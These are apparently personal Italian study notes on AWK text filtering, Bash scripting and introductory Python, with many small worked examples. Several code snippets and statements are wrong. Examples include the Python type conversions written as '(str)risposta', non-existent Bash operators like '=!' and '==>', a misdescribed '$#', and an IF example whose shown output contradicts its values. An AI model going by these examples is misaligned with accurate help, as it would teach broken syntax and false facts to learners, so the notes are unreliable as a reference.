AWK è un filtro generico per file di testo che permette di trovare sequenze di caratteri in file di testo e di effettuare una serie di azioni sulle linee corrispondenti usando comandi espressi con un linguaggio molto simile al linguaggio C.

La sintassi della riga di comando è la seguente:

awk ’istruzioni’ nomefile

awk –f file-istruzioni nomefile

AWK elabora il file nomefile secondo le istruzioni contenute in ’istruzioni’ oppure nel file-istruzioni.

Le istruzioni possono essere una semplice stringa da confrontare o ricercare, oppure una sequenza anche molto complessa di condizioni e azioni concatenate, espresse in una sintassi simile al C, e comprende anche i cicli tipici come IF-THEN, WHILE, FOR, FOR IN, etc. Le istruzioni possono fare uso anche delle espressioni regolari.

Si può usare AWK anche come filtro:

comando | awk ’istruzioni’

comando | awk –f filep-istruzioni

AWK elabora i file di testo una riga alla volta, eseguendo azioni diverse a seconda del contenutodella riga.

La struttura di AWK e' del tipo:

'pattern {azione}'

Se il pattern e' soddisfatto, viene eseguita l'azione.

In AWK ogni file di testo e' suddiviso in campi (fields) e linee (records).

Ciascun record rappresenta una linea del file e ciascun campo una "parola" (i campi sono divisi tra loro dal carattere contenuto nella variabile FS che di default è lo spazio).

In molti casi, i campi possono identificare il tipo di formattazione del testo suddiviso in colonne. Quindi $3 indicherebbe la terza colonna del file in questione.

Nel caso in cui i campi fossero separati da caratteri differenti dallo "spazio", e' necessario dichiarare il nuovo carattere/i di separazione con il seguente comando:

BEGIN {FS=":"} ====> (dichiara il carattere : come separatore)

I pattern possono essere delle semplici espressioni regolari racchiuse tra "/" ( es: /^pippo$/ ) oppure un’espressione logica o ancora le espressioni BEGIN ed END (vengono ritenute vere rispettivamente prima di incominciare a leggere il file in input e dopo averlo esaminato tutto).

AWK legge una ad una le righe del file e se una riga contiene il pattern specificato viene eseguita l’azione associata.

Le azioni non sono altro che dei piccoli programmi C-like. È importante notare come le variabilinon debbano essere dichiarate ( a differenza del C ) e vengano automaticamente inizializzate azero oppure alla stringa nulla.

Per indicare i campi (parole) della riga corrente si usano le variabili $0,$1,$2,....; lavariabile $0 contiene l’intera riga (record) mentre $1 contiene il primo campo, $2 il secondo, $3 il terzo e così via.

Oltre alle variabili FS e OFS, in AWK esistono altre variabili che vengono aggiornate automaticamente durante l’elaborazione del file in input:

*) NF: Numero dei campi della riga correntemente elaborata.

*) NR: Numero della riga correntemente elaborata.

*) FILENAME: Nome del file correntemente elaborato. Questa variabile è indefinitaall’interno del blocco BEGIN e contiene "-" se non sono specificati file nella linea di comando.

OPZIONI E MATACARATTERI:

*) '' ====> Apici singoli. Racchiudono la sequenza funzionale 'pattern {azione}'

*) $ ====> Dollaro. Identifica i campi ($3 ====> Terza parola della riga)

*) $0 ====> Dollaro Zero. Identifica l'intera riga

*) // ====> Slash. Racchiudono le espressioni regolari (come in SED)

*) {} ====> Parentesi graffe. Racchudono le Azioni che vogliamo siano eseguite

*) () ====> Parantesi tonde. Racchiudono i pattern di ricerca

*) ~ ====> Tilde (contiene). Opera il confronto con un espressione regolare e verifica che sia soddisfatta

*) !~ ====> Punto esclamativo e tilde (NON contiene). Opera il confronto con un espressione regolare e verifica che NON sia soddisfatta

ESEMPI:

*) Visualizza (print) il campo 4 (quarta parola o quarta colonna) che contiene la stringa "ERRORE" nel file "file.log", e salva i risultati nel file "quarticampi.log"

cat file.log | awk '/ERROR/ {print $4}' >> quarticampi.log

*) Visualizza (print) lo username e lo User ID (UID) di tutti e soli gli account del sistema che non hanno una login, e salva i risultati nel file "nologinuser.txt"

awk 'BEGIN {FS=":"} ($5=="") {print $1,$3}' /etc/passwd >> nologinuser.txt

*) Visualizza (print) il nome di tutti i file con estensione .sh (shell script) che contengono la funzione "main()"

awk ’/main()/{print FILENAME}’ *.sh

*) Inserisci la parola "prefix" all'inizio di ogni riga, e la parola "suffix" alla fine di ogni riga del file "miofile.txt" e salva il risultato nel file "nuovofile.txt"

awk '{print "prefix "$0" suffix"}' miofile.txt >> nuovofile.txt

*) Converti file di testo dal formato Windows al formato Unix

awk '{ sub("\r$", ""); print }' windows.txt > unix.txt

Fonte:

https://areeweb.polito.it/didattica/operating_systems/SO/Esaula/man_awk.pdf

 

ESEMPIO REALE:

*) Dato un file con le seguenti caratteristiche:

---------------------

<PREMARCATO TRANID="4633107650742229" TDOC="674" CCBEN="9001" BEN="DIPARTIMENTO TRASPORTI TERRESTRI DIRITTI L 14 - 67" IMP="10,20" COMMISSIONINETTE="1,08" COMMISSIONIAGGIUNTIVE="0,70" DIV="2" DTOP="01/10/2020" DTFLUSSO="01/10/2020" ORD="CENTRO GOMME SENESE " VIA="LOCALITA LA MACCHIA VIA TOSCANA" CITTA="SOVICILLE" CAP="53018" PR="SI" CDL="4891989023759158" CIN="31" FRAZIONARIO="055111" NATURAECONOMICA="005" PROGRESSIVO="0001" CODICESEZIONE="01" TRANPORTALID="1000101"/>

<PREMARCATO TRANID="4633107650742229" TDOC="674" CCBEN="9001" BEN="DIPARTIMENTO TRASPORTI TERRESTRI DIRITTI L 14 - 67" IMP="10,20" COMMISSIONINETTE="1,08" COMMISSIONIAGGIUNTIVE="0,70" DIV="2" DTOP="01/10/2020" DTFLUSSO="01/10/2020" ORD="CENTRO GOMME SENESE " VIA="LOCALITA LA MACCHIA VIA TOSCANA" CITTA="SOVICILLE" CAP="53018" PR="SI" CDL="4279677158381080" CIN="82" FRAZIONARIO="055111" NATURAECONOMICA="005" PROGRESSIVO="0002" CODICESEZIONE="01" TRANPORTALID="1000101"/>

---------------------

*) Vogliamo fare la somma di tutti I valori contenuti nel campo IMP="xx,xx".

Per prima cosa creiamo un file che contiene la lista di tutti i vaori relative a tale campo. Analizzando le single righe possiamo vedere che, considerando il carattere " come separatore, I valori del campo IMP= corrispondono al decimo blocco:

awk 'BEGIN {FS="\""} {print $10}' File-Originale.xml > listaimporti.txt

*) Il carattere \ nel blocco {FS="\""} serve a depotenziare il caratere " per dire ad awk di considerarlo smplicemente come carattere da usare come separatore e non come la fine del testo tra apici.

Una volta creato il file listaimporti.txt dobbiamo sostituire le virgole con dei punti, perchè awk usa il punto come separatore unita-decimali. Per comodità useremo sed:

sed -i s/\,/\./ listaimporti.txt

*) Adesso possiamo sommare tutti gli importi della colonna IMP

awk '{somma +=$1} END {print somma}' listaimporti.txt

gawk '{ sum += $1 }; END { print sum }' listaimporti.txt

3.38519e+06

*) Come avrete notato il risultato è un numero molto grande espresso in notazione scientifica perchè oltre 1 milione awk usa la notazione esponenziale, e questo non sarebbe un problema; il vero problema è che la somma è arrotondata per eccesso..

I comandi awk e gawk sono equivalenti e possono essre utilizzati entrambi indistintamente, tuttavia, ove disponibile è consigliabile usare gawk perchè contiene delle feature aggiuntive.

 

===============================================================================================

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

===============================================================================================

 

BASH SHELL SCRIPTING

*) #! (she-bang) ===> Ogni script di bash inizia con questa stringa, in tutte le righe successive il simbolo # sarà interpretato come commento

#!/bin/bash ===> Indica che tutto il codice presente va elaborato dalla shell bash. Lo script puo' essere lanciato solo impostando opportunamente i permessi di esecuzione (chmod 755 nomescript.sh). Per lanciare uno script da qualunque posizione di qualunque shell senza anteporre ./ lo script deve essere copiato in /usr/local/bin (richiede permessi root)

*) $ (Dollaro) ===> Detto anche "espansore di variabili" permette di leggere il valore delle variabili (echo "$var")

*) La variabile $0 contiene il nome dello script in esecuzione

*) La variabile $# contiene il numero totale delle variabili specificate nello script

*) La variabile $? contiene il risultato di un'operazione di confronto matematica o booleana: Esempio

===================

#!/bin/bash

i="abc"

j="def"

[ $j != $i ]

echo $?

===================

La variabile $? contiene 0 se il risultato del confronto e' vero, oppure un valore intero positivo in caso di fallimento con o senza errori. questo permette di definire vari codici di errore utilizzando diversi numeri positivi, così da distinguere il tipo di fallimento avvenuto.

Esempio:

exit 4

Questo comando terminerà lo script (i comandi specificati dopo di esso non saranno mai eseguiti) e ritornerà un exit status di valore 4, indicando un certo tipo di errore. Omettendo l’exit status nel comando exit, oppure omettendo totalmente il comando, lo script ritorna l’exit status dell’ultimo comando eseguito all’interno di esso.

I valori standard per la variabila $? sono:

0 ===> Vero (esecuzione terminata con successo)

1 ===> Falso (esecuzione terminata con errori)

l’exit status dell’ultimo comando eseguito è disponibile anche nella variabile built-in $?; accedervi può essere utile nel caso si voglia distinguere fra diversi codici di errore (magari utilizzando il costrutto switch): ad esempio, il comando grep (che cerca in un file le righe corrispondenti a un pattern specificato) ritorna 0 se trova almeno una corrispondenza, 1 se non trova nessuna corrispondenza, e 2 se è avvenuto un errore.

*) FORMATTAZIONE TESTI E CARATTERI DI ESCAPE

# ====> Commento. Tutto quesslo che viene scritto dopo non viene eseguito dallo script.

" ====> "Inserimanto testo"

' ====> 'Inserimento testo'

-e ====> Esempio:

echo -e "Permette di utilizzare i metacaratteri di ritorno a capo \n"

\n ====> A Capo. Inserito in una stringa testo provoca un ritorno a capo

*) OPERATORI DI CONFRONTO:

-eq ===> equal (uguale)

-ne ===> not equal (diverso)

-lt ===> less than (minore di)

-le ===> less or equal (minore o uguale)

-gt ===> greather than (maggiore di)

-ge ===> greather or equal (maggiore o uguale)

Per la lista completa di tutti gli operatori digitare "man test"

*) OPERATORI MATEMATICI

== ===> uguale (a == b)

=! ===> diverso (a =! B)

==> ===> maggiore o uguale (a ==> b)

=< ===> minore o uguale (a =< b)

*) OPERATORI BOOLEANI

-a ===> and logico. Equivale a && nelle espressioni aritmetiche

-o ===> or logico. Equivale a || nelle espressioni aritmetiche

! ===> not logico. Equivale a != nelle espressioni aritmetiche

Per la lista completa di tutti gli operatori digitare "man test"

*) OPERATORI DI TEST SU FILE

-e ===> verifica l'esistenza di un file

-d ===> verifica che il file sia una directory

-nt ===> verifica che il primo file sia stato modificato più recentemente del secondo

Esempio: Se il file "originale.txt" esiste allora visualizza il messaggio "Copia riuscita"

-----------------------------------------------------------

#!/bin/bash

if [[ -e originale.txt ]] ; then

cp originale.txt copia.txt

echo "Copia riuscita."

fi

-----------------------------------------------------------

Esempio: Incrementare una variabile in un ciclo while

------------------------------------------------------------

#!/bin/bash

counter=1

limit=1000

#while [ $counter -le 1000 ];

while [ $counter -le $limit ];

do

echo "Loop in esecuzione $counter"

#let counter=counter+1

counter=$(($counter+1))

sleep 1

done

------------------------------------------------------------

 

Per la lista completa di tutti gli operatori digitare "man test"

*) All’interno di un’espressione aritmetica è possibile riferirsi a variabili dichiarate precedentemente nello stesso script senza utilizzare l’espansione di variabile (omettendo cioè il simbolo $). Ad esempio, il codice seguente:

i = 2+3

echo $(( 7 * i ))

Restituisce 35

Il valore di i viene valutato prima di effettuare la moltiplicazione (7*5), mentre scrivendo $i verrebbe effettuata una sostituzione di stringa, producendo 7 * 2 + 3 = 14 + 3 che restituisce 17).

*) Esempio: Eseguire operazioni matematiche sui valori delle variabili. Dividere il valore della variabile VarA per 3:

VarA=$((VarB / 3))

*) COSTRUTTO IF

Esempio

--------------------------------------------------------

#!/bin/bash

echo 'Inserisci il dato per la variabile A'

read A

echo 'Inserisci il dato per la variabile B'

read B

 

if [[ $A == $B ]] ; then

echo ' Le variabili A e B sono uguali'

echo ' La variabile di test "$?" è $?'

else

echo ' Le variabili A e B sono diverse'

echo ' La variabile di test "$?" è' $?

fi

-----------------------------------------------------------

Esempio (dallo script /usr/local/scripts/script_MIT.sh 192.168.20.50):

-----------------------------------------------------------

# se la $REMOTE_SHARE non e' montata esci senza fare nulla

e invia la mail di segnalazione

no_remoteshare=`df -k $REMOTE_SHARE`

result=$?

if [ $result -eq 1 ]

then

echo "`date +%Y%m%d-%H%M%S` - Remote share $REMOTE_SHARE non montata: non si puo' proseguire" >> $LOGFILE

echo "`date +%Y%m%d-%H%M%S` - Fine Operazioni" >> $LOGFILE

cat $LOGFILE | /bin/mailx -s "Esito Trasferimento da MIT - KO" $MAILLIST

exit 1

else

echo "`date +%Y%m%d-%H%M%S` - Controllo esistenza share $REMOTE_SHARE OK" >> $LOGFILE

fi

-----------------------------------------------------------

====================================================================================

LE FUNZIONI

nome_funzione()

{

codice da eseguire

}

Esempio

--------------------------------------------------

#!/bin/bash

aggiungi_utente() # Dichiaro la funzione

{

echo "Inserisci l'ID"

read ID

echo "Inserisci il nome"

read NOME

echo "Inserisci il COGNOME"

read COGNOME

echo "Hai aggiunto correttamente l'utente con ID $ID ($NOME $COGNOME)"

}

# Qui comincia lo script vero e proprio

S=s

echo "Inizio dello script..."

echo "Vuoi inserire un nuovo utente ? (s/n)"

read scelta

if [[ $S == $scelta ]] ; then

aggiungi_utente

else

echo "Operazione annullata"

fi

------------------------------------------------------

*) OPZIONI DELLE FUNZIONI BASH

exit ===> Interrompe l'esecuzione dello script

return ===> Termina la funzione e ritornare il valore fornito alla porzione di codice chiamante

echo ===> Visualizza l'Output

=======================================================

REDIREZIONE DELL' INPUT

stdin ===> 0 ===> Standard Input (Tastiera)

stdout ===> 1 ===> Standard Output (Terminale /dev/tty0)

stderr ===> 2 ===> Standard Error (Terminale /dev/tty0)

*) Reindirizza lo stdout di un comando ad un file (SOVRASCRIVE)

comando > mio_file.log

*) Reindirizza lo stdout di un comando ad un file (AGGIUNGE in coda (append))

comando >> mio_file.log

*) Reindirizza sia lo stdout che lo stderr di un comando ad un file

comando &> mio_file.log

oppure

comando >file 2>&1

L’output stream viene redirezionato verso mio_file.log e successivamente stderr viene redirezionato verso l’output stream, cioè mio_file.log

*) Reindirizza lo stdout di un comando ad un file ed al Terminale (monitor)

comando | tee mio_file.log

*) Quando un comando è troppo verboso, non si è interessati al suo output o lo si vuole nascondere all’utente, è possibile redirezionare stdout o stderr (o entrambi) verso lo speciale nodo /dev/null, il cui contenuto viene sempre scartato dal sistema.

 

REDIREZIONE DELL' OUTPUT

*) La redirezione di un canale di input (come quello predefinito stdin) avviene utilizzando l’operatore < (minore)

Per dare un file in input ad un comando o ad uno script, si utilizza quindi la notazione seguente:

comando < file

ESEMPIO:

*) Trovare una specifica stringa in uno specifico file

grep miastringa < miofile.txt

-----------------------------------------------------

ESEMPIO:

*) Assegnare alla variabile var una specifica stringa trovata in uno specifico file

var=$(grep miastringa < miofile.txt)

 

===============================================================

 

*) ESPRESSIONI REGOLARI

Esempio: Controlliamo che l'input inserito dall'utente corrisponda ad un indirizzo email valido

-------------------------------------------------

#!/bin/bash

echo "Insersci un indirizzo E-mail"

read email

if [[ $email =~ [[:graph:]]+@[[:alnum:]]+\.[[:alpha:]]+ ]]; then

echo "$email è un indirizzo E-mail valido. Grazie"

else

echo "$email NON è un indirizzo E-mail valido"

fi

--------------------------------------------------

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

PYTHON

*) Python rispetto ad altri linguaggi come il C, il Perl, il Ruby, ha una sintassi molto semplice. Le parentesi Quadre e Graffe sono utilizzate solo per particolari e specifiche operazioni. Questo però comporta che in Python l'indentazione è ASSOLUTAMENTE FONDAMENTALE.

L'indentazione standard e' costituita da 4 spazi e si consiglia di utilizzare sempre questa invece del tasto TAB.

In ogni caso, se si usa il tasto TAB, allora bisogna utilizzarlo nell'intero script. MAI alternare spaziature con la barra barra a spaziature con il TAB. O l'una, o l'altro !!!!

*) Insieme all'interprete Python viene installato anche l'editor interattivo chiamato "IDLE Python". L'editor interattivo permette di inserire un comando alla volta e restituisce subito il risultato.

Per scrivere piccolo programmini o script utilizzare l'editor base:

-) Cliccare su "File"

-) Cliccare su "New File" (oppure "Open File" se si ha gia uno script pronto)

Per eseguire lo script bisogna prima salvare il file e poi cliccare su "Run" e quindi su "Run Module" (oppure F5)

L'editor di base ha la funzione "lightning" che colora il testo ma per progetti piu' impegnativi e complessi, il miglior editor in assoluto e' PyCharm (community edition) della JetBrain.

PyCharm mette a disposizione una serie di strumenti, di funzionalita' e di tool che facilitano molto la vita del programmatore.

Tra le funzionalita' principali di PyCharm troviamo:

*) Completamento automatico di qualsiasi elemento del programma (Funzioni, Classi, Istriuzioni, Moduli, Variabili, etc)

*) Esecuzione real time del codice all'interno della sua finestra integrata "Run"

*) Correzione real time del codice digitato sia per la sintassi che per i simboli di chiusura di cicli ed istruzioni

*) Shell Interattiva Python integrata

*) Terminale integrato che permette anche l'installazione di moduli esterni alla Standard Library. Per esempio, per installare sotto Windows il Modulo "requests", basta aprire il Terminal e scrivere:

pip install requests

Per piccole modifiche invece l'editor più versatile, leggero e semplice è Geany. Supporta l'esecuzione "al volo", il completamento automatico e chiede prima di salvare un file (anche quando si chiude il programma)

------------------------------------------------------------------------

OPERATORI NUMERICI x OPERAZIONI MATEMATICHE

Addizione ====> + (piu)

Sottrazione ====> - (meno)

Divisione ====> / (slash)

Moltiplicazione ====> * (asterisco)

Esponente ====> ** (doppio asterisco)

Quoziente ====> // (doppia slash)

Resto ====> % (percentuale)

==================================================================

VARIABILI

*) Le variabili possono contenere qualsiasi tipo di dato senza bisogno di essere dichiarate:

Esempio:

var = 20 # ====> integer

var = 3.14 # ====> float

var = 'ciao' # ====> string

var = '20' # ====> string

*) Per sapere che tipo di dato è memorizzato in una variabile si usa la funzione "type(nomedella variabile)"

Esempio:

var1 = 20

type(var1)

int

var2 = '20'

type(var2)

str

var1 = '3.14'

type(var1)

str

var1 = 3.14

type(var1)

float

*) Le variabili possono essere concatenate:

Esempio:

domanda = 'Quanti hanni hai ?'

risposta = ' Troppi !!!!'

print domanda + risposta

------------------

>>> 'Quanti hanni hai ? Troppi !!!!'

*) Se le variabili contengono tipi di dati diverse NON possono essere direttamente concatenate, ma bisogna prima convertirle in modo che siano compatibili

Per convertire il tipo di dato di una variabile si usano le funzioni:

(int)varx ====> Trasforma il contenuto di varx in intero

(str)varx ====> Trasforma il contenuto di varx in stringa

(float)varx ====> Trasforma il contenuto di varx in float

(bool)varx ====> Trasforma il contenuto di varx in boolean

Esempio:

domanda = 'Quanti hanni hai ?'

risposta = 40

print domanda + (str)risposta

--------------

>>> 'Quanti hanni hai ?40 !!!!'

==================================================================

OPERATORI DI CONFRONTO BOOLEANI

--------------------------------------------

Uguale a ====> == (doppio uguale)

Diverso da ====> != (esclamativo, uguale)

Minore di ====> < (minore)

Maggiore di ====> > (maggiore)

Minore o uguale ====> <=

Maggiore o uguale ====> >=

---------------------------------------------

OPERATORE DI CONFRONTO BOOLEANO AND

CondizioneA and CondizioneB ====> Restituisce True solo se SIA CondizioneA che CondizioneB sono VERE (True)

Esempio:

varA = 10

varB = 20

varC = 30

if varA == 10 and varB != 25:

print('Le due Condizioni sono entrambe VERE: varA = 10 e varB e\' diversa da 25')

elif varC == varA + varB and varA != varB:

print('varC e\' la somma di varA + varB e varA e\' diversa da varB')

----------------------

>>> Le due Condizioni sono entrambe VERE: varA = 10 e varB e' diversa da 25

-----------------------------------------------

OPERATORE DI CONFRONTO BOOLEANO OR

CondizioneA or CondizioneB ====> Restituisce True se almeno UNA delle due Condizioni risulta Vera (True)

Esempio:

varA = 10

varB = 20

varC = 30

if varA == 10 or varB == 25:

print('varA e\' uguale a 10 OPPURE varB e\' uguale a 25')

--------------------------

>>> varA e' uguale a 10 OPPURE varB e' uguale a 25

-----------------------------------------------

OPERATORE DI CONFRONTO BOOLEANO NOT

not CondizioneA ====> Restituisce True SOLO se CondizioneA risulta False e viceversa

--------------------------------------------

CICLO IF

Esempio:

var1 = 10

var2 = 20

somma = var1 + var2

if var1 == var2:

print('Le 2 variabili sono uguali')

elif var1 > var2:

print('La variabile 1 e\' maggiore della variabile 2')

elif var1 < var2:

print('La variabile 1 e\' minore della variabile 2')

------------------

>>> 'La variabile 1 e' maggiore della variabile 2'

---------------------------------------------------------

Esempio:

print('Inserire il valore per la variabile A')

varA = input()

print('Inserire il valore per la variabile B')

varB = input()

somma = varA + varB

if varA == varB:

print('Le 2 variabili sono uguali')

elif varA > varB:

print('La variabile A e\' maggiore della variabile B')

elif varA < varB:

print('La variabile A e\' minore della variabile B')

----------------------------------------------------------------

CICLO WHILE

Esempio:

contatore = 0

while contatore <= 10:

print(contatore)

contatore = contatore +1

-----------------

>>> 0 1 2 3 4 5 6 7 8 9 10

NOTA:

contatore += 1 # E' un modo abbreviato per incrementare il valore di una variabile

-----------------------------------------------------------------

Esempio (ciclo infinito):

import time

while 7 == 7:

print('ciclo infinito!!!')

time.sleep(1)

NOTA:

while true = ciclo infinito

*) Per definire un ciclo infinito si può, come nel caso del presente esempio, imporre una condizione che risulti sempre vera (Es. x == x), oppure si puo' scrivere "while True" (La condizione del ciclo while e' SEMPRE True)

-------------------------------------------------------------------

Esempio (break):

contatore = 0

while True:

print(contatore)

contatore += 1

if contatore > 10:

print('Sto uscendo dal loop!')

break

--------------------------------

>>> Output >>>

0

1

2

3

4

5

6

7

8

9

10

Sto uscendo dal loop!

------------------------------------------------------------------

Esempio (continue):

contatore = 0

while contatore < 10:

contatore += 1

if contatore == 5:

print('Il valore 5 e\' stato saltato')

continue

print(contatore)

------------------------

>>> Output >>>

1

2

3

4

Il valore 5 e' stato saltato

6

7

8

9

10

 

--------------------------------------------------------------------

CICLO FOR

*) Il ciclo FOR e' molto simile al ciclo while ma mentre while esegue il codice finche' una determinata condizione e' soddisfatta, il ciclo FOR esegue il codice un NUMERO BEN DEFINITO di volte (che viene dichiarato all'inizio).

La sintassi del ciclo e':

for nome-variabile in range (min,max,step)

nome-variabile rappresenta il nome arbitrario che possiamo dare alla variabile che andra' a contenere di volta in volta il valore assegnato dal ciclo.

 

Esempio:

min = 1

max = 10

for contatore in range (min,max,min):

print(contatore)

-----------------------

>>> Output >>>

1

2

3

4

5

6

7

8

9

---------------------------------------------------------------------

Esempio: (tabelline del 3)

min = 0

max = 31

for contatore in range (min,max,3):

print(contatore)

---------------------------

>>> Output >>>

0

3

6

9

12

15

18

21

24

27

30

--------------------------------------------------------------------

Esempio:

min = 10

max = 0

for contatore in range (min,max,-1):

print(contatore)

---------------------------

>>> Output >>>

10

9

8

7

6

5

4

3

2

1

--------------------------------------------------------------------------

Esempio: CALCOLATRICE

while True:

print('''

Benvenuto al programma CALCOLATRICE!

Creata da: Mestesso

Usage:

-Per effettuare un'Addizione, seleziona 1;

-Per effettuare una Sottrazione, seleziona 2;

-Per effettuare una Moltiplicazione, seleziona 3;

-Per effettuare una Divisone, seleziona 4;

-Per effettuare un Calcolo Esponenziale, seleziona 5;

-Per uscire dal programma puoi digitare ESC;

''')

scelta = input('Inserisci il numero corrispondente all\'operazione selezionata ---> ')

if scelta == "1":

print('\nHai scelto: Addizione\n')

a = float(input('Inserisci il Primo Numero -> '))

b = float(input('Inserisci il Secondo Numero -> '))

print('Il risultato della Somma è: ' + str(a + b))

elif scelta == "2":

print('\nHai Scelto: Sottrazione\n')

a = float(input('Inserisci il Primo Numero -> '))

b = float(input('Inserisci il Secondo Numero -> '))

print('Il risultato della Sottrazione è: ' + str(a - b))

elif scelta == "3":

print('\nHai scelto: Moltiplicazione\n')

a = float(input('Inserisci il Primo Numero -> '))

b = float(input('Inserisci il Secondo Numero -> '))

print('Il risultato della Moltiplicazione è: ' + str(a * b))

elif scelta == "4":

print('\nHai scelto: Divisione\n')

a = float(input('Inserisci il Primo Numero -> '))

b = float(input('Inserisci il Secondo Numero -> '))

print('Il risultato della Divisione è: ' + str(a / b))

elif scelta == "5":

print('\nHai scelto: Calcolo Esponenziale\n')

a = float(input('Inserisci la Base -> '))

b = float(input('Inserisci l\'Esponente -> '))

print('Il risultato del Calcolo Esponenziale è: ' + str(a ** b))

elif scelta == "ESC":

print('''L'applicazione verrà ora chiusa!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++''')

break

loop = input('\nDesideri continuare ad usare l\'applicazione? S/N ')

if loop == "S" or loop == "s":

print('''Sto tornando al Menù principale!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++''')

continue

else:

print('''Grazie e arrivederci!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++''')

break

-------------------------------------------------------------------------------------

====================================================================================

FUNZIONI PYTHON

Come in quasi tutti i linguaggi di programmazione, anche in Python si usano le Funzioni.

Le funzioni sono porzioni di codice (possono essere anche veri e propri programmi) che possono essere richiamate all'interno dello stesso programma dove sono dichiarate oppure all'interno di un altro qualsiasi programma.

Per definire una funzione si usa una sintassi ben precisa.

NOTA: anche all'interno delle funzioni l'indentazione e' fondamentale.

Esempio (Funzione all'interno dello stesso programma):

import time # importa il modulo time per l'attesa di 1 secondo nel countdown

############# Inizio della Funzione countdown

def countdown(start): # Definisci la funzione "countdown"

print('\n\nSTART COUNTDOWN')

for contatore in range(start,0,-1):

time.sleep(1)

print(contatore)

############## Fine della Funzione countdown

############## Inizio del programma vero e proprio

print('\n\nQuesta utility avvia un countdown a partire dal numero specificato')

scelta01 = input('\nVuoi avviare un Countdown ? (S/N)')

if scelta01 == 'S' or scelta01 == 's':

sec = input('\nInserire il numero dei secondi dal quale far partire il Countdown')

secondi = int(sec)

countdown(secondi) # Richiama la Funzione countdown creata ad inizio programma

else:

print('\n\nUscita dal programma')

-----------------------------------------------------------------

Esempio:

def laptop_nuovo(ram,cpu, antivirus = False):

print ('Il nuovo laptop avrà le seguenti caratteristiche:')

print ('RAM: ' + ram)

print ('CPU: ' + cpu)

if antivirus == True:

print ('Hai comprato anche un antivirus')

 

laptop_nuovo("16 GB","Intel i5",True)

------------------

>>> OUTPUT >>>

Il nuovo laptop avrà le seguenti caratteristiche:

RAM: 16 GB

CPU: Intel i5

Hai comprato anche un antivirus

-----------------------------------------------------------------

Esempio:

def sommatrice(a,b):

risultato = a + b

return(risultato)

*) Quando non vengono specificate funzioni print per mandare in output le variabili, si usa la funzione "return"

La funzione return esporta il contenuto della variabile specificata e lo rende disponibile alle altre parti del programma

------------------------------------------------------------------

IMPORTARE FUNZIONI IN ALTRI PROGRAMMI COME MODULI

*) Come gia accennato, e' possibile utilizzare una qualsiasi funzione scritta da noi per un particolare specifico scopo, all'interno di un qualsiasi altro programma o script.

Per fare ciò e' sufficiente:

*) scrivere una o piu' funzioni in un file con estensione .py

*) Copiare il file con le nostre Funzioni nella stesa directory del programma nel quale vorremmo implementarle

*) Nel programma importare il file delle funzioni come se fosse un qualsiasi modulo:

import nomefilefunzione

NOTA: usare il nome del file ma senza estensione .py

*) A questo punto si puo' utilizzare la funzione contenuta nel file come una qualsiasi altra funzione:

nomefilefunzione.nomefunzione(parametri)

 

Esempio (Funzione all'interno di un altro programma):

FILE DELLA FUNZIONE (CountdFunzione.py):

-------------------------------------------------

import time # importa il modulo time per l'attesa di 1 secondo nel countdown

############# Inizio della Funzione countdown

def countdown(start): # Definisci la funzione "countdown"

print('\nSTART COUNTDOWN')

for contatore in range(start,0,-1):

time.sleep(1)

print(contatore)

############## Fine della Funzione countdown

---------------------------------------------------

 

FILE DEL PROGRAMMA (Countd-Utility.py):

---------------------------------------------------

import CountdFunzione # importa la Funzione dichiarata nel file countd.py presente nella stessa directory

print('\nQuesta utility avvia un countdown a partire dal numero specificato')

scelta01 = input('\nVuoi avviare un Countdown ? (S/N) >>> ')

if scelta01 == 'S' or scelta01 == 's':

secondi = int(input('\nInserire il numero dei secondi dal quale far partire il Countdown >>> ')) # La funzione int() converte in numero intero la stringa immessa dall'utente tramite la funzione input()

CountdFunzione.countdown(secondi) # Richiama la Funzione countdown contenuta nel file CountdFunzione.py

else:

print('\nUscita dal programma')

-------------------------------------------------------

*) Notare che la funzione viene richiamata usando il nome del file in cui e' stata dichiarata seguito da un punto e dal nome della funzione stessa. Tra parentesi viene invece dichiarata la variabile da passare alla funzione. Il valore di tale variabile sara' automaticamente assegnato alla variabile (start) utilizzata nella Funzione.

CountdFunzione.countdown(secondi)

NOTARE inoltre che, nel caso in cui il file contenesse 2 o piu' funzioni, ogni singola funzione puo' essere richiamata dichiarandola dopo il punto.

CountdFunzione.altrafunzione(parametro)

=======================================================================================

VARIABILI GLOBALI E VARIABILI LOCALI

*) In python le variabili sono di 2 tipi:

- GLOBALI (Global Scope)

- LOCALI (Local Scope)

*) Le variabili GLOBALI vengono dichiarate e CREATE all'interno del programma principale (ma all'esterno di eventuali funzioni presenti nel programma stesso) e vengono DISTRUTTE solo quando il programma principale termina. Restando in memoria fino alla fine del programma, in programmi complessi le Variabili Globali sono sinonimo di pesantezza e spreco di risorse.

*) Le variabili LOCALI sono invece quelle che vengono dichiarate e CREATE all'interno di una Funzione e vengono DISTRUTTE quando il programma principale esce dalla Funzione.

*) Una qualsiasi funzione puo richiamare ed utilizzare una qualsiasi variabile globale ma, nel caso in cui si abbia necessita' di modificare il valore di detta variabile all'interno della Funzione, bisogna specificare l'intenzione tramite l'istruzione "global".

In alternativa e' possibile richiamare una variabile globale e assegnarla ad una variabile locale per poi elaborarla a piacimento (vedi Esempio 04).

*) Al contrario, una variabile locale puo' essere richiamata soltanto dalla Funzione nella quale e' dichiarata. Nel caso in cui si abbia necessita' di utilizzare una variabile locale nell'ambiente principale (globale) e' necessario che la Funzione stessa renda disponibile la propria variabile locale mediante l'istruzione "return"

 

Esempio 01:

x = 15

def funzione_esempio():

return(x)

 

print(funzione_esempio())

------------------

>>> OUTPUT >>>

15

-----------------------------------------------------

Esempio 02:

x = 15

 

def funzione_esempio():

x += 2

return (x)

 

print(funzione_esempio())

------------------

>>> OUTPUT >>>

Traceback (most recent call last):

File "D:/python_lab_lenovo/localglobalsample.py", line 9, in <module>

print(funzione_esempio())

File "D:/python_lab_lenovo/localglobalsample.py", line 5, in funzione_esempio

x += 2

UnboundLocalError: local variable 'x' referenced before assignment

NOTA:

*) Il programma restituisce un errore perche' la Funzione "funzione_esempio" non puo' elaborare la variabile globale "x"

--------------------------------------------------------------------------

Esempio 03:

x = 15

def funzione_esempio():

global x

x += 2

return x

 

print(funzione_esempio())

------------------

>>> OUTPUT >>>

17

NOTA:

